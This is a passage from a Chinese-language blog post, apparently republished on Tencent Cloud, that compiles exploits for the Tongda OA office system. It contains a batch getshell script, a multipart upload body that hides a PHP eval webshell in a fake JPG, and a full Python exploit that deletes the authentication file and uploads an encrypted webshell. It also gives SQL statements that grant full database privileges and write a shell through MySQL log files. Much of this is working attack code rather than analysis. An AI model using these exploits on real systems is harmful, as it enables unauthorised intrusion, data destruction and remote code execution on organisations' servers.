                realshellpath = url."/file_folder/2103/".StrReplace(path,"1.jpg","166.php");
                print("Shell路径:",realshellpath,"密码:test");
        }else{
                return "";
        }
}
function main(args){
        print("请输入要要检测的列表文件:");        
        list = StrSplit(ReadFile(input()),StrRN());
        i = 0;
        num = GetArrayNum(list);
        while(i < num){
                url=list[ToInt(i)];
                print("当前检测的连接:".url);
                GetShell(url);
                i=i+1;
        }
        print("检测完毕");
}

和poc.py同目录下的./OAShell.txt文件

-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="SUBJECT"

166.jpg
-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="CONTENT_NO"

-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="TD_HTML_EDITOR_CONTENT"

-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="KEYWORD"

-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="NEW_NAME"

ÐÂ½¨ÎÄµµ
-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="NEW_TYPE"

-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="ATTACHMENT_1"; filename=""
Content-Type: application/octet-stream

-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="ATTACH_NAME"

-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="ATTACH_DIR"

-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="DISK_ID"

-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="ATTACHMENT_1000"; filename=""
Content-Type: application/octet-stream

-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="ATTACHMENT_DESC"

-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="CONTENT_ID"

-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="OP"

-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="PD"

1
-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="SORT_ID"

0
-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="ATTACHMENT_ID_OLD"

-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="ATTACHMENT_NAME_OLD"

-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="FILE_SORT"

2
-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="USE_CAPACITY"

-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="USE_CAPACITY_SIZE"

-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="SHARE_USER"

-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="ATTACHMENT_0"; filename="1.jpg"
Content-Type: image/jpeg

<?php @eval($_POST['test']); ?>
-----------------------------33072116513621237124579432636--

通达OA v11.6任意文件删除

漏洞文件/module/appbuilder/assets/print.php第6行就是unlink删除文件的代码,所以这里不再叙述直接给个POC:

/module/appbuilder/assets/print.php?guid=文件路径

拓展利用:

有一种删除文件的使用方法就是通过删除身份验证的/webroot/inc/auth.inc.php那么大多数需要身份验证的地方将失效,在这里就可以绕过upload.php的文件上传的身份检验,从而实现未授权的文件上传

通达OA <11.5或v11.6任意文件删除绕过身份验证+data_center任意文件上传漏洞

参考文章:https://mp.weixin.qq.com/s/GALcUWwt2M5_B_3iDSDq7g

因为在上传点/general/data_center/utils/upload.php中包含身份验证的/webroot/inc/auth.inc.php文件使用的是include_once所以即使不存在文件也不会导致程序中止(如果是require就会中止)从而导致身份验证失效.

利用工具:

https://github.com/admintony/TongdaRCE

POC:

#!/usr/bin/python
# -*- coding: utf-8 -*-

"""
Author: Admintony
Date: 2020/08/23 16:38
适用版本：
通达OA < v11.5
通达OA v11.6
声明：使用即代表接受本协议，工具仅用于测试用途，请勿使用此工具做非法事情。
"""
import requests,sys,json
from random import choice

payload="""<?php
@error_reporting(0);
session_start();
if (isset(_GET['pass']))
{key=substr(md5(uniqid(rand())),16);
    _SESSION['k']=key;
    print key;
}
else if(!empty(_SESSION['k']))
{
    key=_SESSION['k'];
    post=file_get_contents("php://input");
    if(!extension_loaded('openssl'))
    {t="base64_"."decode";
        post=t(post."");
        for(i=0;i<strlen(post);i++) {post[i] =post[i]^key[i+1&15];
                }
    }
    else
    {post=openssl_decrypt(post, "AES128",key);
    }
    arr=explode('|',post);
    func=arr[0];
    params=arr[1];
    class C{public function __construct(p) {eval(p."");}}
    @new C($params);
}
?>
"""
USER_AGENTS = [
    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
    "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)",
    "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.35; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
    "Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)",
    "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)",
    "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322)",
    "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30)",
    "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.3 (Change: 287 c9dfb30)",
    "Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.6",
    "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070215 K-Ninja/2.1.1",
    "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/20080705 Firefox/3.0 Kapiko/3.0",
    "Mozilla/5.0 (X11; Linux i686; U;) Gecko/20070322 Kazehakase/0.4.5",
    "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Fedora/1.9.0.8-1.fc10 Kazehakase/0.5.6",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.20 (KHTML, like Gecko) Chrome/19.0.1036.7 Safari/535.20",
    "Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.11 TaoBrowser/2.0 Safari/536.11",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.71 Safari/537.1 LBBROWSER",
    "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; LBBROWSER)",
    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E; LBBROWSER)",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.84 Safari/535.11 LBBROWSER",
    "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)",
    "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; QQBrowser/7.0.3698.400)",
    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)",
    "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SV1; QQDownload 732; .NET4.0C; .NET4.0E; 360SE)",
    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)",
    "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)",
    "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1",
    "Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; zh-cn) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b13pre) Gecko/20110307 Firefox/4.0b13pre",
    "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:16.0) Gecko/20100101 Firefox/16.0",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11",
    "Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10"
]
headers={}

""" 11.6版本 getshell利用链 """
def getShellV11_6(target):
    print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")
    input("Press enter to continue")
    print("[*]Deleting auth.inc.php....")
    url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"
    requests.get(url=url,verify=False)
    print("[*]Checking if file deleted...")
    url=target+"/inc/auth.inc.php"
    page=requests.get(url=url,verify=False).text
    if 'No input file specified.' not in page:
        print("[-]Failed to deleted auth.inc.php")
        exit(-1)
    print("[+]Successfully deleted auth.inc.php!")
    print("[*]Uploading payload...")
    url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"
    files = {'FILE1': ('at.php', payload)}
    res=requests.post(url=url,files=files,verify=False)
    url=target+"/_at.php"
    page=requests.get(url=url,verify=False).text
    if 'No input file specified.' not in page:
        print("[+]Filed Uploaded Successfully")
        print("[+]URL:",url)
    else:
        print("[-]Failed to upload file")

""" 低于11.5版本 getshell利用链 """
def getShellV11_x(target):
    cookie=getV11Session(target)
    if not cookie:
        print("[-] Failed to get Session")
        return
    headers={"Cookie":cookie+";_SERVER="}
    print("[*]Uploading payload...")
    url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"
    files = {'FILE1': ('at.php', payload)}
    res=requests.post(url=url,files=files,headers=headers,verify=False)
    url=target+"/_at.php"
    page=requests.get(url=url,verify=False).text
    if 'No input file specified.' not in page:
        print("[+]Filed Uploaded Successfully")
        print("[+]URL:",url)
    else:
        print("[-]Failed to upload file")

"""
@判断目标版本
@return 116：11.6版本
@return 11：非11.6版本
"""
def getVersion(target):
    print("[*] Checking target's OA version")
    url=target+"/module/appbuilder/assets/print.php"
    res=requests.get(url,verify=False)
    if res.status_code==200:
        print("[*] Target's OA version: v11.6")
        return "116"
    else:
        print("[*] Target's OA version: is not v11.6")
        return "11"

""" OA未授权访问 """
def getV11Session(url):
    checkUrl = url+'/general/login_code.php'
    try:
        headers["User-Agent"] = choice(USER_AGENTS)
        res = requests.get(checkUrl,headers=headers)
        resText = str(res.text).split('{')
        codeUid = resText[-1].replace('}"}', '').replace('\r\n', '')
        getSessUrl = url+'/logincheck_code.php'
        res = requests.post(
            getSessUrl, data={'CODEUID': '{'+codeUid+'}', 'UID': int(1)},headers=headers)
        print('[+]Get Available COOKIE:'+res.headers['Set-Cookie'])
        if testCookie(url,res.headers['Set-Cookie']) == 0:
            print("[-] Failed to login with this Cookie")
            return
        return res.headers['Set-Cookie']
    except Exception as e:
        print(e)
        print('[-] Something Wrong With '+url)
        return

""" 测试获取到的cookie是否可用 """
def testCookie(url,Cookie):
    uri = "/general/index.php?isIE=0&modify_pwd=0"
    headers = {
        "Cookie":Cookie
    }
    res = requests.get(url+uri,headers=headers)
    if "用户未登录，请重新登录!" in res.text:
        return 0

if __name__ == '__main__':
    if len(sys.argv) != 2:
        print("[*] python {} target_url".format(sys.argv[0]))
        exit()
    target=sys.argv[1]
    ver = getVersion(target)
    if ver=="116":
        getShellV11_6(target)
    elif ver=="11":
        getShellV11_x(target)

poc解析 poc中有两个方法尝试去上传webshell,一个是getShellV11_x另一个是getShellV11_6.它们的区别在于怎么获取session,至于上传文件的原理是一样的,都是利用变量覆盖来自定义上传文件的路径和文件名(原理继续往下看)

getShellV11_x使用的其实就是我们的通达OA < 11.5任意用户登录从而获得admin的session,自然就能满足upload.php的身份绕过了;
getShellV11_6的原理就是我们这里提到的删除身份验证文件来绕过身份验证
满足身份验证条件后通过变量覆盖满足文件上传判断条件和自定义上传文件路径和文件名
成功上传webshell

很重要的点:

在参考文章当中就有说道这个漏洞利用的前提就是通过common.inc.php文件进行变量覆盖(这个文件在很多个地方都有被包含,所以通达OA变量覆盖的触发点有很多),从而满足文件上传目标的判断条件,这里直接偷两张图:

后续的原理就是通过变量将repkid覆盖为../../../,再将

通达OA v11.7后台SQL注入写文件RCE

注入出现在general/hr/manage/query/delete_cascade.php文件中,这个点离谱的就是直接整句执行我们的sql语句而不是闭合原语句,并且执行语句的用户对mysql数据库拥有所有权限(因此可以修改用户权限),所以操作空间就很大了

添加一个新的用户

grant all privileges ON mysql.* TO 'at666'@'%' IDENTIFIED BY 'abcABC@123' WITH GRANT OPTION;

为新用户赋予全部权限

UPDATE mysql.user SET Password = '*DE0742FA79F6754E99FDB9C8D2911226A5A9051D', Select_priv = 'Y', Insert_priv = 'Y', Update_priv = 'Y', Delete_priv = 'Y', Create_priv = 'Y', Drop_priv = 'Y', Reload_priv = 'Y', Shutdown_priv = 'Y', Process_priv = 'Y', File_priv = 'Y', Grant_priv = 'Y', References_priv = 'Y', Index_priv = 'Y', Alter_priv = 'Y', Show_db_priv = 'Y', Super_priv = 'Y', Create_tmp_table_priv = 'Y', Lock_tables_priv = 'Y', Execute_priv = 'Y', Repl_slave_priv = 'Y', Repl_client_priv = 'Y', Create_view_priv = 'Y', Show_view_priv = 'Y', Create_routine_priv = 'Y', Alter_routine_priv = 'Y', Create_user_priv = 'Y', Event_priv = 'Y', Trigger_priv = 'Y', Create_tablespace_priv = 'Y', ssl_type = '', ssl_cipher = '', x509_issuer = '', x509_subject = '', max_questions = 0, max_updates = 0, max_connections = 0, max_user_connections = 0, plugin = 'mysql_native_password', authentication_string = '', password_expired = 'Y' WHERE Host = Cast('%' AS Binary(1)) AND User = Cast('at666' AS Binary(5));

刷新权限(使数据库的权限设置生效)

flush privileges;
grant all privileges ON mysql.* TO 'at666'@'%' IDENTIFIED BY 'abcABC@123' WITH GRANT OPTION

navicate登录有全部权限的用户

写shell

# 查路径：
select @@basedir; # c:\td0a117\mysql5\，那么web目录就是c:\td0a117\webroot\
# 方法1：
set global slow_query_log=on;
set global slow_query_log_file='C:/td0a117/webroot/tony.php';
select '' or sleep(11);
# 方法2：
set global general_log = on;
set global general_log_file = 'C:/td0a117/webroot/tony2.php';
select '';
show variables like '%general%';

参考链接: https://mp.weixin.qq.com/s/8rvIT1y_odN2obJ1yAvLbw 通达OA v11.7后台SQL注入到RCE[0day]

通达OA2017 ueditor模块未授权任意文件上传

通过快捷菜单->个人文件柜->新建文件上传图片,然后上传一个websehll假图,住吧将后缀名改为.php.

然后就成功将websehll.php.文件上传了,因为在windows中并不允许文件名以.结尾所以会将结尾的.删除,从而得到webshell.php

参考文章: https://cloud.tencent.com/developer/article/1856837

未授权登录方法汇总

< 11.5任意用户登录
v11.7在线用户登录
v11.6删除身份验证文件从而绕过某些点的身份验证
通过sql注入拿到账号密码

文件上传wensehll方法汇总

上传websehll假图片并拿到图片路径后通过修改文件后缀得到webshell.php
ueditor模块将webshell假图片直接上传,抓包将后缀名改为php.
sql注入设置慢查询或全部查询日志文件写文件
2015-2017版本任意文件上传

2022——07——25

本文参与腾讯云自媒体分享计划，分享自作者个人站点/博客。

原始发表：2022-10-19 ，如有侵权请联系 cloudcommunity@tencent.com 删除

url

函数

漏洞

文件上传

本文分享自作者个人站点/博客前往查看

如有侵权，请联系 cloudcommunity@tencent.com 删除。

本文参与腾讯云自媒体分享计划，欢迎热爱写作的你一起参与！

通达OAの漏洞合集

通达OAの漏洞合集

通达OAの漏洞合集

一些准备

通达OA 2015-2017版本

通达OA < 11.5任意用户登录

脚本分析

getV11Session函数

get2017Session函数

原理解析

通达OA v11.7 在线用户登录漏洞

通达OA的sql注入点

注入点一:

注入点二:

注入点三:

注入点四:

未授权访问各种会议通知信息

通达OA 任意文件上传漏洞

脚本分析

原理解析

通达OA v11.7文件上传+后缀修改

通达OA v11.6任意文件删除

通达OA <11.5或v11.6任意文件删除绕过身份验证+data_center任意文件上传漏洞

很重要的点:

通达OA v11.7后台SQL注入写文件RCE

通达OA2017 ueditor模块未授权任意文件上传

未授权登录方法汇总

文件上传wensehll方法汇总

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